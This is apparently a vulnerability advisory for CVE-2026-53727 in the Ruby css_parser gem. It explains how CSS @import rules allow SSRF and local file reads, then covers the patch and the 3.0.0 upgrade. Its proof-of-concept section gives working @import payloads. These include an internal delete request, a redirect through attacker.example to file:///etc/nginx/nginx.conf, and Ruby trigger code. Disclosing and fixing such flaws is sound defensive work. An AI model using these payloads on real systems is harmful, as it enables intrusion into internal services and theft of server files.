CVE-2026-53727: css_parser SSRF and Local File Disclosure via @import
The Ruby css_parser gem fetches any URL found in a CSS @import rule with no host or scheme restrictions, letting an attacker read internal services or local files by injecting a single CSS rule into a
The problem
CssParser::Parser#read_remote_file issues outbound HTTP/HTTPS requests against any host and port with no allowlist, no IP-range filtering, and no loopback or RFC-1918 protection. The same function also services file:// URIs, and it follows Location: redirect headers recursively into itself, so a single attacker-controlled HTTP 302 response pointing to file:///etc/nginx/nginx.conf upgrades the SSRF to an arbitrary local file read.
The two entry points that reach the sink are load_uri! (called directly) and add_block! when invoked with a base_uri: option and the default import: true. Premailer always sets base_uri: when given a document URL, making every Premailer email-rendering pipeline that processes attacker-influenced HTML or CSS reachable from this single-rule payload.
Proof of concept
A working proof-of-concept for CVE-2026-53727 in css_parser, with the exact payload below.
# Inject this one-liner into any CSS the target application parses
# with add_block!(css, base_uri: 'http://attacker.example/')
# 1. Blind SSRF side-effect (request always fires even if body is not CSS-shaped)
@import url("http://internal-admin.local/api/v1/users/42?action=delete");
# 2. Non-blind SSRF: recover response body via parser API when body is CSS-shaped
@import url("http://internal-svc.local/debug/config");
# 3. Cross-scheme redirect -> local file read
# Attacker controls https://attacker.example/r which returns:
# HTTP/1.1 302 Found
# Location: file:///etc/nginx/nginx.conf
@import url("https://attacker.example/r");
# Ruby trigger for all three (base_uri: is the only required option):
# require 'css_parser'
# parser = CssParser::Parser.new
# parser.add_block!(File.read('attacker.css'), base_uri: 'http://attacker.example/')
# Direct load_uri! path (no CSS needed):
# parser.load_uri!('file:///etc/nginx/nginx.conf')The root cause is a complete absence of input validation in read_remote_file: no scheme allowlist, no host/IP check, and no guard on the Location header before recursing. Because the file:// branch lived inside the same remote-fetch function, a cross-scheme HTTP-to-file:// redirect required zero additional primitives.
The patch (commits ba74c3c, 7d2ddf0, e0a1514) routes all outbound HTTP through the ssrf_filter gem, which resolves hostnames with Resolv, rejects loopback/RFC-1918/link-local/cloud-metadata ranges, and re-validates scheme and resolved IP on every redirect hop, defeating DNS-rebinding bypasses.
The file:// branch was removed from read_remote_file entirely and isolated behind a new opt-in flag allow_file_uris: false, so a 302 Location: file://... response can no longer be followed regardless of parser configuration. Accept-Encoding: gzip was also removed from the outbound request to eliminate the decompression-bomb surface.
CWE-918 covers the SSRF leg; CWE-73 covers the file-URI leg.
The fix
Upgrade css_parser to 3.0.0. The default Parser.new is now safe with no code changes needed for standard Premailer pipelines. If your test suite hits localhost fixtures, pass allow_local_network: true to Parser.new. If your code explicitly calls load_uri! with file:// URIs or sets base_uri: 'file://...', pass allow_file_uris: true, or migrate to load_file!(path) which accepts a plain path and is not subject to the URI gate.
Reported by JLLeitschuh (Braze Security), originally discovered by NCC Group pentesters.
Related research
- high · 7.4pay: Paddle Billing Webhook Signature Timing Oracle (CWE-208)
- critical · 9.6CVE-2026-53513CVE-2026-53513: @better-auth/sso SSRF via Unvalidated OIDC Endpoints
- high · 7.7CVE-2026-33655CVE-2026-33655: new-api SSRF Protection Bypass via Unresolved Hostname
- high · 7.1CVE-2026-55787CVE-2026-55787: flyto-core SSRF Guard Bypass via IPv6 Transition Addresses